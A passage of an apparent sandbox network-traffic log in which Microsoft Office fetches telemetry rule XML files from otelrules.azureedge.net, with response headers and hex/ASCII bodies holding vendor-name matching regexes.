2024-11-26 12:43:51 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:50 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 59a03737-a01e-00ab-1891-3f9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124350Z-174f7845968pf68xhC1EWRr4h80000000vu00000000000xc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:51 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.7	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:50 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:51 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:51 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: b24172ee-901e-0016-3789-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124351Z-174f7845968cdxdrhC1EWRg0en0000000vag00000000b9mu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:51 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.7	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:51 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:51 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:51 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: dcf51672-d01e-005a-5c91-3f7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124351Z-174f7845968kvnqxhC1EWRmf3g0000000e90000000005g3k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:51 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.7	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:51 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:52 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:52 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 5cf18767-601e-000d-7d91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124352Z-174f78459685m244hC1EWRgp2c0000000v6000000000c1xn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:52 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.7	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:52 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:53 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:53 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7af319f3-d01e-0017-6a91-3fb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124353Z-174f78459685m244hC1EWRgp2c0000000vb0000000004221 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:53 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.7	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:52 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:53 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:53 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: dd02da03-701e-001e-0d91-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124353Z-174f7845968nxc96hC1EWRspw80000000v3g00000000a7bf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:53 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.7	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:53 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:53 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:53 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: f73eacfc-701e-0001-0b91-3fb110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124353Z-174f7845968ljs8phC1EWRe6en0000000v6g00000000b658 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:53 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:53 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:53 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:53 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 417b9f3b-401e-0029-4091-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124353Z-174f7845968frfdmhC1EWRxxbw0000000vh0000000005gx4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:53 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.7	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:54 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:54 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:54 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: fcd7fe31-301e-0033-0c91-3ffa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124354Z-174f7845968zgtf6hC1EWRqd8s0000000n9000000000ccwy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:54 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.7	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:55 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:55 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:55 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 3ccb05f8-401e-0016-1b69-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124355Z-174f7845968cdxdrhC1EWRg0en0000000ve0000000005qdv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:55 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.7	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:55 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:55 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:55 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: dce0685f-701e-001e-3f83-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124355Z-174f7845968frfdmhC1EWRxxbw0000000vk0000000003m0m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:55 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.7	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:55 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:56 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:56 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 02827f85-001e-00ad-7091-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124356Z-174f7845968qj8jrhC1EWRh41s0000000ve0000000004mk7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:56 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.7	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
